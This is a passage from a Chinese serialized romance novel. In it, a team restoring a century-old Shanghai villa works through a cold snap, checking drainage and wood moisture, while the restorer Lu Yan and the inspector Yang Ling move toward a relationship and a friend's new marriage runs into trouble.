“军儿,一会把雨披拿两件给我,上房顶要用。” “卧槽,不是吧张哥,我也要上去?” 这吩咐背后的意思比骂他提神效果好多了,冯小军一下就紧绷起来。 别看天天自诩为土木老哥,他这细皮嫩肉的远还没经受过风吹雨淋的摧残啊! 对了,他们给实习生交医保吗?学校的医保能管校外的事故吗? “别一惊一乍,要是跟你一块上去,该怕的就是我了。”没好气回瞄一眼,得意道,“肯定老师傅往前顶啊!” 这就是前辈的快乐吗?他已然晋升为老师傅了。 想必待遇提高指日可待? “害,咱不是担心你嘛。” 小胖子又缓了过来,去那片临时堆放杂物的地方翻找。 张野则准备上阁楼去看看怎么个事,不想途中遇见蹲二楼楼梯口玩手机的苏棠。 “咋得啦小苏?身体不舒服?” “避嫌。” ...... @adeline:(语音)陆师傅~你们在加班吗? 墨斗先生:你怎么知道今晚是持久攻坚战的,心有灵犀? 杨灵终于摆脱了对表情包的依赖,转向效率更高的语音消息。 这必然标志着两者关系的进步。 反正不可能是倒退! @adeline:(语音)我可以帮你把今天拍下来,外界评价肯定高。而且现在正好路过一家排骨年糕,你想不想吃呢? 糯糯的声音回荡在微微潮湿的房间,有什么理由拒绝杨灵探班呢? 陆砚看了眼电阻式含水率仪,17%,一个逼近受潮临界值的数字。 也是一个足以把他们整晚留在此地的数值。 总之,先将仪器在现场环境静置 30分钟,多次取平均值再下结论吧。 还有这霉味,越来越重了。 墨斗先生:(语音)外面天气冷,注意保暖,千万注意! 第六十一章 无人知晓之地 顺着阁楼从上到下,敲了一路的排水管道,声音清脆、回声持续时间短而响亮。 这一反响无疑是让人心情顺畅的。 因为管道是顺畅的。 这一步不需要老师傅、仅是生活经验丰富的普通人也能通过敲打时的声音特征和手感反应,判断个大概出来。 不过老师傅终究还是老师傅,管道内结没结冰、会不会结冰,则需要在手感和听感上有更细微的把控才行。 “咚咚!” 手指敲着,张野半蹲、耳朵贴上墙边的排水管,一副隔墙偷听邻居家动静的模样,委实让两个实习生发笑。 但现在不宜吐槽,于是苏棠拍照。 至于陆砚,穿着雨披蹲外面排水口下看水流出水速度、是否连续。 事实上他对此没抱有多大期待。 雨水通过排水沟快速汇入排水系统,管内流量叠加引发短暂积水十分常见,这会让人误以为管道堵塞。 他在这里蹲了十来分钟,里面通水或连贯、或卡顿,最后得出的结论只是: 并不具备判断价值。 很可笑对吧。 一个排水管道几个人大费周章的,至于吗? 冯小军最初曾这样想过,可随着某个概念的清晰化,想法便被彻底推翻。 并不是习以为常的家里,他们所在的建筑是一座百年老房。 所谓百年老房即意味着,‘老人’身上,任何一处部位都有可能出问题。 排水管道通与不通决定了管道某处会不会突然炸开、破裂,而一旦管道某处大量漏水...... 他们修的是老物件,每一件的修复成本,并不像‘掉了颗瓜子’那样轻描淡写。 “没结冰,不过气温在降,应该也快了。咱们有防冻剂吗?” 陆砚刚走进来,把雨披褪到一半、隔着衣服便听到张野的结论,心下一沉。 苏棠才接手,哪里知道有没有,正准备去外头赵陆砚问问。 “没来得及买。”他说。 “...” “...” 此时就是借冯小军三个胆子,也不敢开口说话,即使是为了缓和气氛...... 也不敢! 一时之间多个危险的可能从他外行的脑子里闪过,更惶恐事态比他想象的还要严重。 我只想体验项目,不想体验事故啊! 打小去游乐园都不敢玩大摆锤和过山车,咱心脏不好! “我俩现在去屋顶把排水沟——” “轰——” 窗外,明晃晃的汽车大灯冲破雨幕、打向彩绘玻璃窗,仍有余力让几人肉眼察觉屋内光线变亮。 杨灵来了。 陆砚转身撑雨伞,去门口接她。 “张哥,这......” 趁着间隙,冯小军又能开口了,但自己都不知道要说什么。 此前顺风顺水,众人有说有笑,不料第一次危情悄然而至。 “莫慌,天塌下来个高的顶着。” 文件上负责人不仅有陆砚的名字,还有官方人员出身的杨督察,这位的‘个子’估摸着能帮忙摊走不少压力。 一会功夫,出去带人回来的陆砚就湿了小半个身子,好在杨灵干干爽爽地进门。 深色格纹毛呢大衣内搭高领毛衣,着长裤,卡其色短靴此刻尤为优雅。 手里提着四盒热腾腾的排骨年糕。 “杨老师,晚上好。” 苏棠总会在人进来第一时间打招呼,如果对象不是陆砚的话,那真是涵养极了。 “晚上好。” “领导看你们加班,专程送夜宵来了,一会自己来分。” “一会?现在很忙吗?” 杨灵看着他有点打湿的工装外套,正从包里拿纸巾。 此前她能想象到的最恶劣的工作环境,是外卖小哥顶着三十度的大太阳奔波在大街小巷; 其次是陆砚这样子,在寒潮、大雨天把人叫来老洋房加班。 不是说没见过更苦更累的,是对更苦更累的活感到遥远而抽象,不如现在具体。 后面她换了个角度想,其实大家一起围在老洋房里聊聊天,偶尔走动取暖...... 这个雨天其实也还不错。 所以便心血来潮想来看看。 然后陆砚告诉她,他们现在准备去阁楼顶上、检查排水沟。 杨灵问为什么,他说怕上面会有积水,后续可能结冰从而引发管道压力增大。 她记得,她自始至终都很冷静,说话很平静。 没有提任何干预他团队工作的意见,也没有说任何影响他情绪的话。 只是跟着、看着,看着陆砚和张野穿上雨披,穿过沉闷的阁楼,打开天窗时一滩水漏了下来,苏棠赶紧躲开,她没有。 再接着,陆砚先擦着扶梯上去,接过张野递去的长条状工具后就看不到了。 张野也上去了。 外面雨声密密麻麻铺满整件屋子。 上去后,天窗关上,没人说话,头顶却听不到半点踩踏房顶的声音。 如果广义相对论得以验证,虫洞理论就此成为现实,那么房顶上方一定存在大片‘负能量物质’,维持着遥远的区域和时间节点。 陆砚就是独自旅行虫洞的人,丢下她不顾被撕碎的风险去了另一个时空。 脑子里全是雨的声音,苏棠说他们上去十五分钟了。 上海每年都会有几场来得着急的寒潮。 新华路老洋房区的某幢老洋房顶有两个人清扫天沟微微结冰的积水,阁楼内,杨灵的瞳孔没有聚焦,像被低温冻住的墨滴。 ...... 五人围挤在老洋房一楼大厅,买来的排骨年糕冷了,但不影响被人消灭的命运。 直到把手中最后一张纸巾用完,她也没把陆砚头发上的水珠擦干。 所有人都觉得杨灵变了,变得温柔极了。 想必这就是恋爱的魔力。 陆砚也这般以为,尽管半个身子是冷的,耐不住心热。 话说,他们这个阶段谈恋爱,还需不需要像小年轻一样轰轰烈烈地表白、然后像全世界宣告在一起的消息? 想想就好,大抵是做不来、也没必要。 水到渠成的关系虽说平实,却比猛烈的干柴烈火更有余味、更安全,不是吗? 也许,两人距离在一起就差一个契机,契机......也许就在今晚? 张野说:“陆哥,今天是通宵还是怎么?” 本来通宵是板上钉钉的安排,却不想他们下来后雨一下子快停了,现在外面又成‘沙沙’的声音。 那还守个啥?衣服湿了回家换衣服呀! “一会走的时候再测一遍含水率增幅,没问题就撤。”他也是这样想的。 情况好转就行了,没苦硬吃? 没必要。 绝不是杨灵也在场的原因! 意识到最严峻的时刻已经过去,冯小军便可以登场了。 “我去,这家排骨年糕绝了,冷了都好吃!” 所谓活跃气氛和拍马屁并不冲突,精于社交的人往往能将其合二为一打出去。 拍陆师傅马屁他在女士面前不屑做,做了多也无效。 但此刻说杨灵的好话,陆师傅还不得舒坦承接咯? 学生会混过的,这点见识他还是有。 “小军今天辛苦了,这周午餐加鸡腿。”陆砚说。 见冯小军一击中的,苏棠顿时不高兴了。 “杨老师~” “陆砚给苏棠也加。” “好。” 陆砚叉起一块年糕,不知道冷的食物杨灵吃不吃,在经过眼神同意后递了过去。 对方乖巧接受投喂,全然没有掩饰。 毕竟她不是来加班的,亦不存在包庇、通融等行为,有什么需要回避的? 最后用电阻式含水率表每五根柱子、三个木构件插进去检查一遍,拖到近十二点才散场。 走时雨都歇息了。 他和杨灵留到最后锁门。 “冷吗?今天很好看,不知道保不保暖。” 陆砚牵起她的手,两人在门口共同看向前院。 那里停着两辆车——只有他们能把车停进来,其余车辆均需登记才能进——就像车的主人一样并肩。 这是第一次主动握住她,稀碎月光下两人指尖微冷,却昭告着某种炽热的东西诞生。 杨灵任他牵着,没有说话。 靠近一步,头抵着肩膀,两人的气息在夜间浸过雨水的空气里交融。 若看得见星星,想必星星也会眨眨眼。 “杨小姐。” “嗯?”将手变为十指紧扣,微微抬头。 “上次你留宿我家,这次该轮到我了吧?” 感觉到对方的手心渐渐火热,她没急着回复。 地面积水空明,小脑袋在他肩上、靠近下巴的位置轻轻磕着。 碰一下、分开、碰一下、分开。 像在思考,究竟要不要带对方回家呢? 原本不抱期待试探的陆砚,在这样亲密又湿润的拖延下,起了热切的心思。 对方每次靠近似乎都吻合心跳的频率,砰砰,砰砰,它随之鼓动、雀跃。 或许应该抱住她,这样就不会乱动了。 但......该死的衣服,偏偏湿了大半边! “陆先生,我觉得今天不合适,因为还没有准备你的睡衣。”她笑着说,“下次一定。” 第六十二章 寒潮结束了 寒潮对老建筑的可怕之处就在于迫降的温差和雨后陡然升高的湿度,当这股子劲熬过去,便成了纸老虎。 天还是荫翳的天,穿过前院铁艺栅栏将车停好,心是安稳的。 10度,他们的‘寒潮’提前结束了。 “哟陆哥,精神头好啊。” “张哥,保暖内衣质量好啊。” 两者完全不是一个调,却精神饱满得相似。 陆砚有爱情、得以滋润,张野呢? 也不知道张野的精神食粮是什么,把他喂这么饱。 潮湿的阶面有点小滑,待会手机上给杨灵提醒一下。 “苏棠来了没,今天让她去外面跑跑,锻炼锻炼。” “我就刚从外面进来呢,又得去锻炼啊?”曹操在陆砚后头,“早上好,两位师傅。” 是经典的工装牛仔套装配棕色靴子的小苏,珊珊说道。 为什么老话说一日之计在于晨? 不仅仅是做计划在晨时,陆砚还认为,一天的工作状态会不会好、在早上一照面就能反应出来。 倘若眼前两位精神头能保持,也顺带会让周围人工作更积极。 反正他瞧见了十分开心。 “早上好。跟你说的清单列好了吗?等会你陆哥亲自带着实操一遍。” 人刚到就聊工作,要是颜朵在的话肯定要吐槽,但陆砚状态好的时候就是如此。 “进去先,纸质版和电子版一道发给你。” 她挎着随身小包包往里走,同样雷厉风行。 小绿茶在工作的时候向来不打岔,这便是人家偶尔在陆砚脸上‘任性’的资本。 就像存钱罐,此时明显属于‘存钱’了。 另一边。 老金答应的老木头和其余物料、应急设备也到位了,让陆砚去取。 上午,在老洋房将事情一件件排开,事情按计划有条不紊地进行。 先去青石铺子拖走东西以后,陆砚要提交三方材料给住建局和文保局项目负责人各一份,再回洋房和苏棠对接清单内容。 工作留痕之严谨,各个环节之透明,皆需要时间打磨才能理解此中的深意。 午饭后带她跑了趟浦东新区看传统建材的报价,又去旧木材市场和综合建材市场了解行情。 站点多、行程赶,苏棠的任务也很重,后勤用品的专业采购与租赁远不止这些。 回来时陆砚给了几个微信群,交代她了解平台采购和二手社群等隐性资源信息。 是以这天很忙。 忙到杨灵的微信都没看见。 ...... @adeline:(语音)下午四点我会带一批设备过来安装,需要你配合。 听见这条消息,陆砚心下一紧。 既有对某些机械工艺的抵触,又有对双方接洽过程中、距离把控的紧张。 三点五十,陆砚暗下给自己画了两道底线: 1.不可以伤到杨灵。 2.尽最大努力保持修缮后、老洋房原貌。 他从车上下来,踱到老洋房门口台阶处。 墨斗先生:(语音)当然配合。怕你被湿滑的台阶暗算,我决定在门口等你,路上小心。 说道路上小心,就存在一个悖论: 若对方看了这条消息,便增大了路途危情的风险;若对方不看这条消息,‘路上小心’的提醒又无法送达。 可一个人真挚的关心总要有所表示...... 所以收到那些看似‘无脑’的‘废话’、‘套话’,切莫抱怨。 如果可以,他们也想上手帮你。 很快,尊敬的保时捷车主开着她的车从道路尽头缓缓具象化。 杨灵还没下车,陆砚就迎上去,准备帮她搬东西。 发动机渐渐平息,放下车窗,几乎一整天没见面的杨灵再度出现。 “前两次搬设备你都没有主动帮我诶。” 是来自杨小姐的撒娇。 他当然记得,初见时冷酷而犀利的女博士在实际动手层面有多‘狼狈’。 现在怎会忍心呢? “明明第二次开始我就帮忙了好不。” 后备箱放着一个之前见过、半人高的箱子,是什么红外线成像仪之类的? 旁边则是集成箱,里面有很多抽屉,不知道装的什么。 话说原先是不是听她抱怨过,借调仪器很麻烦来着? 今天局里倒是爽利。 一前一后,两人抱着仪器进门瞬间就把众人吸引过来。 老周放下小凿子,从手脚架上下来,投向询问目光。 杨灵解释道: “这个大箱子是红外线成像仪,基本可以满足所有构件结构的检查。” 意思就是检测排水管道的堵塞、木构件的含水率都无需那么麻烦了。 陆砚是这样理解的。 点点头,她接着往下说:“集成箱里装的是17枚检测器,针对不同类型的情况设有不同功能......” 大厅中间,杨灵讲述着功效和具体应用场景。 如若一致通过,则再针对如何布置、如何使用以及后续系列的事情做补充交代和培训。 陆砚和苏棠听懂了,冯小军一知半解,张野怎么样都没意见、老周皱着眉。 “坏了算谁的?”他说。 “算我的。” 嗓音掷地有声。 不待老周再度提问,陆砚插话道:“肯定算我的啊。大伙都小心点,那么细致的木头都能修好,仪器怎么还能弄坏呢。” 依杨灵性格,脱口而出‘算我的’是预料之中的回答,但不可以这样。 不是怀疑财力是否能承担,而是一个‘政策’上的问题: 一直坏怎么办? 仪器影响合约进度怎么办? 仪器操作失误带来的实际损失怎么办? 真细究下来,此中责任划分不是句‘算我的’能解决的。 何况据陆砚所知,每款设备都在局里挂上号了的,出了事,流程上不是‘赔个一模一样的’那么简单。 因而肯定得陆砚这个两头都能讨得好的人担起责任,至少名义上如此。 “小杨同志啊,不是我老周犟、不听指挥。这个传感器和监测器的路线......我们总得先看看吧?毕竟后头要施工的。” 老周并不知道两人的关系,对杨灵的印象还停留在‘停工整顿’那会。 反正不是什么好印象。 不过巧了,只要杨灵认为对的事情,她很少惯着别人。 “路线已经测算好了,还有部分仪器明天送来统一安装,这是通知。” 好吧。 这是工作时间的通知,某些层面的讨论即使是陆砚也必须停下——公私分明一向是人与人交际的重要原则。 何况他根本不打算站出来唱反调,杨老头都说了,‘倔驴得顺毛捋’。 只是...... 老周的年纪绝比两个杨灵还大,共事多年,今天是头一回让人怼得下不来台。 “哎呀我忘了说,路线问题我之前跟小杨同志都商量好了,肯定不影响大伙施工......老周,我的,忘记说了......” 刚开始气氛有些僵硬,后随着一众人读懂空气、加入散播和气的行伍中,场面才渐渐愈合。 唯有苏棠站在杨灵旁边,对那群‘玻璃心’男人丝毫不感冒。 “杨老师,酷~” 杨灵侧过头,稍带疑惑问道:“什么?” 好吧,酷而不自知,更酷了。 ...... “杨小姐?杨灵女士?姑奶奶?” 陆砚怀疑她今天大姨妈来了,但没有证据,也不敢在这时火上浇油多问一嘴。 南京西路步行街,他绕到杨灵另一边,意图用行动再次占据对方视线。 “我的错,以后下班不聊工作了,收到扣1。” 半小时前两人挨到下班结束后,一起吃过晚饭顺便发展惬意的二人时光。 那会杨灵心情应该还不错,他是这样认为的。 于是吃饭的过程中旁敲侧击提了嘴‘如何与老同志对话’的技巧。 然后对方就变脸了。 是的,关于‘如何与年轻同志对话’的技巧,陆砚今晚得重学习一遍。 杨灵‘被迫’看了他一眼,嘴一瘪、头又撇了过去。 好嘛,这副受了天大委屈的模样让不知情的看见了,准以为是她被欺负了。 哄没用那就没办法了,陆砚决定先收点利息。 “要往这边走咯,抓紧我。” 非众所周知,‘熟人之间’打过招呼就不算耍流氓。 抓起身侧的小手,慢慢领着她向一栋建筑走,遥遥望去,是私人影院。 手心里,手比它的主人老实听话得多,大有随波逐流任人牵走的意思。 熙攘行人中,穿过抵达目的地前最后一条马路,红灯。 他想,倘若生气就能不说话且乖乖跟他走,那生气倒也不是半点作用都没有。 盯着她侧脸看了好一会儿。 睫毛的影子垂落,鼻梁挺得近乎执拗,鼻尖却柔柔的、让人想到‘乖巧’二字。 夜间的风摇晃橘色的路灯。 她突然抬眼,对视那刻,水润的眸子泄露了心里那点没消下去的委屈。 仅一眼,男人的思绪就再度柔软。 一个人怎么能恰好长在另一个人的心坎上呢? 他觉得应该抱着她。 于是这么做了。 软玉入怀,手掌拂过柔顺的发梢,灯光将两人拉得很长很长。 陆砚轻轻道:“亲爱的朋友,不要不开心啦~” 寒潮结束了。 寒潮那晚,陆砚淋雨爬上房顶、杨灵内心近乎燃烧的愤怒渐渐平息。 爱情需要努力修行。 她抱着陆砚,紧紧抱着,如是想。 第六十三章 美德和女人 被迫道别缱绻的梦境和梦境中美丽的女子,陆砚的温柔也随之消耗殆尽。 “沟槽的玩意,七点半你打什么电话!八点半再打不得行?” “砚哥,颜朵跑娘家躲着了。” 无精打采的声音从话筒传来,就像拉斯维加斯狂欢三天三夜后、失去所有身家的人,那般怅然。 “......你,你这......卧槽!” 一个激灵从床上弹射坐起,结婚不到十天,你小子就爆这么大个雷? 包小三?出轨?还是......家、家暴? “别说了,晚上有空没空一句话。” “有。” 男人不像女人情绪化,尤以陈禹为代表的男性更是如此。 你说他不难受、不需要人陪? 清晨电话就打来了。 你说他非常需要陪伴、一刻都忍不了? 人家专门约晚上,不耽搁彼此工作。 兴许就连他本人都打算平平淡淡工作一整天,再把家事、私事和情绪丢到狂躁的夜晚随酒精统一消化。 总之,理性的人千千万,但各有各的不同。 在感情上的理智和自控,陆砚觉得,即使是杨博士也不能和陈禹并论。 额...... 话说杨博士这方面理智吗?感觉从来没有过。 怀着兔死狐悲的心情,点聊天列表,忽然就好想打个电话听听她的声音。 不管是慵懒中带着不耐烦的应付,还是暴躁过但悄然压制后给予的温柔,这一刻,都被陆砚深深渴望着。 岁月会让每个人学会控制冲动。 最后,忍了再忍,直到八点二十多、准备出门的时候才拨通电话。 “早上好,陆先生~” “早上好,亲亲的杨小姐。” 很明显得在私人影院把杨灵彻底哄好才肯放她回去。 不让问题遗留到下次,是最顺遂的恋爱之路。 是以,电话顺遂。 “还不能亲噢。” 当然不能亲,他们名义上还没正式在一起呢——这是杨灵的意思。 而陆砚之所以迫不及待地表达亲昵,只是为了缓解想见她的心情——都怪沟槽的陈禹! 有时候人与人之间像两座无法靠近的孤岛,吹在身上的风再吹到她身上,便不同了。 你是如此的思念,却无法言语传达; 一旦付诸表达,思念便被破坏,对方又会觉得奇怪。 好比一个带着前世记忆的人站在两人还没相爱的人生路口,一遍又一遍地告诉对方: ‘我爱你......我的意思是,我爱你啊......算了,你不懂。’ 好在陆砚还没伤春悲秋到这般田地,抓过钥匙穿鞋出门,说: “是因为您方的律师还没同意?” “哼,这是次要原因。” 不知何时开始,杨灵在两人间再没有冷漠的一面。 现在她需要一个正式的节点来确认陆砚的爱,这不过是寻常女子应有的恋情期待,理当应允。 “杨小姐,如果您不介意的话,我会每天定一支玫瑰、赶在正午第一缕阳光照在办公桌前,送到你手里。” “嗯——,听起来不错,就是讲话有点像国外的销售。” 她应该笑着,像富有书卷气的端庄淑女一样,陆砚脑补。 同时,淑女的要求总是用包装过的含蓄语言提出来。 这会使年轻的绅士为难,却难不倒脸皮被岁月打磨过的男人: “宝宝,让玫瑰代替我来见你吧。” “玫瑰要写卡片,不能写我不爱听的话~” 杨小姐没说要收多少朵玫瑰才会答应在一起,就像陆砚觉得,猛烈的激情远不如日常的滋养来得有诚意。 前提是,两人心照不宣地向一处迸发。 ...... 老木头到了,交给苏棠入库登记。 前阵子迫使小赵和老周联手的彩绘雀替已经满足了修补的客观条件,只余双方在‘结构’和‘外貌’层面彻彻底底画出道以后,便可开展工作。 陆砚不管这档子细节事,磨合多年的团队不至于这点问题都无法自我调控。 半晴天。 二楼阳台修好以后,老金那的青砖掐着时间也快出窑了,他计划这几天把洋房外的清水墙面做个简单的处理,就喊上张野他们开干。 概因为,天气预报显示接下来长时段没雨,且赶在寒潮结束气温没有回升,更利于外部墙面修缮。 老洋房外墙一至二层均采用清水墙工艺,直接暴露砖块肌理,形成建筑特色。 砖体百年风化过程中,长期雨水冲刷导致青砖表面泛白、掉渣。 严重的,砖体厚度减薄10-20mm,或者内部中空。 以上都是陆砚首先要判断、标记的内容。 再结合墙面裂缝分布、砖块风化程度,以及找出各处渗漏点和湿度状况,绘制墙体病害分布图以进行后续判断、设计和施工。 抚过墙砖,湿润的青苔和粗粝的砖体表面划过手掌,百年的风雨飘摇一带而过。 十年前的修缮水平极高,望去全是‘旧砖’,仿佛是杨启文跨越时光开启的一次对话。 对话中,感受到了身上交接的使命,这令他兴奋不已。 没有灼热皮肤的太阳,不紧不慢做着自己喜欢、且做起来解压的事,几乎是除了老婆孩子热炕头以外,陆砚对生活最最憧憬的向往。 如今两者近在咫尺,他很感激,也很珍惜。 ...... 杨灵去局里上班的时候从不化妆,‘懒得化妆’在单位是一种美德。 而这个颇有美德的女人近期总在出单位以后画上淡妆。 又何尝不是一种勤劳呢? 众所周知,勤劳亦是美德。 杜诚跑完外勤回来,一眼锁定了正要出去的杨灵: “杨灵同志,上次聚会......是不是突然遇到什么事了?” 瘦高男人说话时有点拘谨,无疑让他的身材在风中萧瑟几分。 杨灵对弱不禁风的男人不感冒,所以‘无意间’爽约了几次。 “嗯。” “哦哦,那就好,我还以为你不想来呢......那你看这周呢?全是熟人,不局促的。” 她默默计算时间,此刻正好卡在带人过去装完仪器、两人一块下班: “知道了,再见。” 瘦高男人一愣,这个答案听着耳熟,上个星期、上上个星期都听过。 不过这次肯定是真的! 杨灵这么有涵养、有学识还严谨认真负责的同志,怎么会接连放他三次鸽子呢? 而且之前也不算骗......放鸽子,她刚说过,有事耽搁了! “再见,再见!” 绕过杜诚,她要去车上化妆了。 倘若能听到杜诚心声,杨小姐也不会发笑的。 笑给谁看? 至于诚信问题嘛...... 精致的化妆镜面反映出眼尾微微下垂的杏眼,略过本就天成的泪痣,笔尖在几乎无可修饰的面部轻轻描眉。 暂时没在某人面前失过约,怎么不算诚实守信了? 而且自己的形象一直以来都很好,某人肯定不会在意闲杂人等的评价。 嘴角扬了扬,下班的滋味是甜的。 暮色斜过放副驾驶的粉色玫瑰,卡片上写着: 首先是善良,其次是真诚,然后我喜欢你。 她为上面的句子而紧张,而颤抖,他对此毫无感觉。 她依然是个有美德的女子,只要两三个人这样认为,就够了。 第六十四章 杨灵的情商 “老周,消消火,都不容易,人小姑娘也不容易。” “这是容不容易的事?一个虚职、管东管西的,没住建局批示凭什么跑我们这里指手画脚?年纪轻轻不讲规矩,没有章法......” 最开始陆砚还在想,现在不是‘停工整顿’双方敌对那会,该如何不经意地让这个不看微信群聊、不看年轻人眼色的,真正的老师傅晓得,杨灵几乎没跑、是他女朋友了。 可随着话势越来越急剧,最该做的已经变成制止老人家情绪的宣泄。 话说重了以后面子都过不去! 到时候两人手牵手站一起,让你老人家该找地躲着,多不好意思啊! 还能为了照顾老周情绪,不恋爱了? 不可能的。 “老周,周叔!咱先歇口气。要下班了今天您早点去接孙女呗。” “周五,她爸妈去接。” 有着西侧走廊和葡萄架凉亭的洋房后院,两人靠在阴凉地讲话,老周额头上滴溜溜地出汗,气得不浅。 说实在的,陆砚也刚到,还一头雾水着呢。 进门和杨灵打招呼的时候对方依然端庄、不失活力,完全看不出有情况的样子。 怎么一到后院,他们的老资历、老江湖气成这样? 还是针对杨灵的。 “小陆我跟你说,这个女人做事太霸道了,乌泱泱一片人领进来就开始装那些七七八八的碎东西,招呼也不打、看不到手脚架上有人在啊!” 从礼貌问题到态度问题,又到人品和职业道德层面。 类似的长串对话五分钟内老周摆渡了三回。 给拿了瓶水、耐心等话说完后也快到下班时间,赶忙把人送出门,才歇了口气。 听着人家当面说你女朋友坏话、既不能反驳也不能顺着话聊,是种什么感受? 老周是杨启文的关系,加之和团队理念对味,遂进行长期合作。 市场价一千两百元单天的匠人在这只收八百——有长期合作打折的成因,但情分同样重要。 索性这气就受着吧。 老一辈固执还要点小面,几乎快成他心中,人物的刻板印象了。 少有例外! 穿过白布包裹、长长的走道,便到了老洋房前厅。 和一众人打招呼道别后,杨灵就在门口台阶前等他。 雪纺衫、半身裙,薄薄的阳光把肌肤映得雪白,眉眼是柔柔的情意。 陆砚简直看得走不动道。 一个月前,我们是针锋相对的冤家,大部分交流里要么彼此说不完整个句子就被对方打断、要么用反讽把语言威力拔高,多少次被你气得睡不好觉; 一个月后,我已经深深为你着迷,不论曾经怎样抗拒、怀疑,站在你面前的时候胸膛是那样澎湃和拥有热情,我相信我会因你而更好,我情愿溺死在你眼睛里。 “hi,亲爱的朋友。” 我喜欢你。 希望你看得出来。 “下午好,亲爱的朋友~” 当她用这种情绪看着你的时候,便再找不出一丝缺点。 简直是理想恋人。 即使把小时候所有憧憬过的女人完全叠加一块,也只能和她五五开的样子。 “宝宝,抱一下。” 工作的时候谈事情不谈感情,对方就是那么一个有原则的女人,陆砚懂。 可现在下班了。 她俏皮眨眨眼,表示同意。 再次靠近,不轻、也不重地抚过纤细腰肢,内心变得充实。 和昨晚不一样,今天是职业套装,面料偏硬。 头发也没放下来,纤细的脖颈处、细腻的幽香混着奶香。 它藏着女人的娇嫩与脆弱,纯洁与美好。 情不自禁准备亲上去的时候,胸前一只小手提前将他推开: “晚上陪我出去玩,好不好?”她说。 似撒娇、似妩媚。 晚上是个日常的时间节点,却在有心人耳朵里天然有着旖旎的氛围。 几乎本能的,他就开始抱怨老周的不是。 讲真,一个那么漂亮、温柔、可爱的小姑娘真心不容易,老头还是太严格了。 “好......诶?” 恰如闪电刺破黑暗,随后响雷大作。 不是,沟槽的陈禹,你! 早晨七点二十的约定突然跑出来扫兴,偏偏还是带着一定正当性的邀约。 所谓‘正当性’即是: 我有更情愿的选择,但是不选它,道德会惩罚我。 “怎么了?” 怀里的人儿仰头,而陆砚的目光却不由自主地落在她的唇上——两片花瓣浸着细碎的暖光,像裹了层融化的糖霜。 世上有很多名著对爱情有着不同比喻和判断。 无一例外,深深地被对方的身体所吸引,是最容易呈现、最容易判断的爱情原点。 普通男人很难像文学著作男主角一样用高尚的灵魂去捕捉另一个灵魂的共鸣,他们往往需要引导、需要被指引到一定程度,才会去爱,然后在爱中变得高尚和拥有无数美德。 拥着杨灵的这一刻,光在她嘴唇泛起好看的颜色,就足以指引一个男人发现爱、踏上爱的旅途。 “我喜欢你,比之前想象的还要喜欢。”陆砚说。 是自然的流露,而非压抑下的爆发。 是看得到凯旋的高歌,是注定会有回应的祷告。 杨灵说:“如果我也喜欢你,花还天天送吗?” 气色好到不需要妆容的脸,却是紧张瞄向不起眼的细节。 看来真的很喜欢这个仪式呢,杨小姐。 “我决定找家百年花店跟他们签下个百年协议......花天天送,你会天天喜欢吗?” “我喜欢你,陆先生。” 预定好的烟花在脑里一簇簇炸开,绚烂的颜色叠在呼吸交织、低头就能亲到的杨灵身上。 所以,他们此刻是在一—— “可是,”把胸前双手抽出,她捧着陆砚的脸说: “我没有安全感诶,你能不能拿出诚意来呢。” “...” 这是...... 不需要多想,她的眼睛会告诉你答案。 已知:我们会在一起。 求:要追多久? 这种慢热型女孩,反正比某些慢热好一万倍! 陆砚同意了,但—— “那个,杨小姐,从明天开始我保证拿出诚意来......” “嗯?今天呢?” 小脸上依旧漾着将要灿烂的笑,好看的杏眼亮晶晶、像要将他整个人装下。 “今天......有事。” 倘若今年评个人生涯尴尬时刻,这一幕能入围前五。 如果对方反应瞬间黑脸,那便有机会成为top1。 陆砚硬着头皮把这四个字,一长段句子,在抱着她、刚刚表完白的时刻全盘托出。 请问这和婚礼上、刚宣完誓的新郎转眼就丢下新娘和一众亲戚朋友,声称要去公司加班有什么区别? 有的。 区别是,他要忙的连公事都算不上! 甚至竟有点后悔刚才的冲动表白—— (预防杨小姐看见,在此声明:表白意愿是强烈的!表白结果他是满意的!) “好噢,那你忙,晚上到家给我打电话。” 脱离怀抱一步远,笑容滞了滞,她的脸上仍是好看的、温柔的模样。 陆砚知道,是因为对方珍惜、尊重,对两人而言颇具意义的这一时刻。 第一天需要有个好的开头,不是吗? 第六十五章 婚姻一拳揍向了爱情 陈禹的车慢慢停在路边,陆砚跟着前车来到一家酒店门口 下车,路边站。 “来这喝酒?” “谁告诉你要喝酒了?来找颜朵的。” “噢,看到新娘不好意思,要伴郎陪着?”陆砚半是看戏不怕台高,半是恨铁不成钢。 人家新婚燕尔,你新婚把老婆气跑。 特立独行是吧! “猜对了一半,林晚声陪着我确实不好意思,交给你了。” ?? ‘幸灾乐祸’到‘咬牙切齿’只需一瞬,同为天涯沦落人的感觉是怎么回事? 众所周知,女人,而且是两个女人在一块的时候,想象力和悲观程度将得到一加一大于二的效果。 马路旁,矗立的高大建筑莹莹泛起华光。 亮堂的楼层内,颜朵在林晚声的安慰中,今晚第三次哭。 “晚声我跟你说,男人真不是个东西,他们一个个蠢死了,整天就知道生意,赚钱......呜呜......陈禹他变了......” 作为熟读《呼啸山庄》和诸多爱情相关书籍的古早文青,林晚声既为闺蜜匮乏的语言感到难过,也为单一语言背后无法言说的悲伤感到痛心。 世界上很多复杂的事情,大师们已经替人们思考过、探索过,给出了一个又一个答案供后人参考。 可偏偏你只是看过一遍就忘了,仿佛他人的故事就仅仅是永远与自己无关的读物而已。 手搭在颜朵的肩膀上,轻轻抚慰。 如今的她再没有当初多愁善感的泪腺陪着宣泄和安慰,只有显得沉默的嗓音缓缓开口: “颜颜,再骂他一百遍,我们就回家,好吗?” 看着颜朵哭肿的眼睛,突然觉得一百遍太少,可......可相爱太难。 难得的青春、难得的恋人,共同的回忆里渗着相爱的美好。 这是事到如今唯一能撼动她泪点的事物。 “颜颜,咱们要好好的,守护自己的幸福,好不好?”明明对嗓音控制远超一般人,却有了哽咽。 没来由的,她也想哭了。 明明台上台下已经哭过千百回。 可是...... 相爱太难! ...... 酒店大厅,两个眼神由涣散渐渐坚定的男人意识到了什么,顿时‘喜笑颜开’。 就像熬了个通宵第二天学校要进行一千五百米体测。 难熬是吧?有人陪着就好多了。 陈禹现在就是这个心态。 他很自信,上楼以后等着的是场苦战。 他更自信,等会另一边战场的火力不会亚于主战场——房间号自然是林晚声透露的,从微信对话的信息分布来看,主要是骂他的时候顺带提的。 喜欢文学、探索精神世界的人向来爱惜羽毛,不肯自降身份说那些‘俗气’话。 可一旦说了,便比想象中来得猛烈。 于是陆砚必须到场,不然他怕林晚声顾及两人没那么熟的关系、情绪释放得不畅快。 陈禹吸完最后一口烟,觉得是时候面对了。 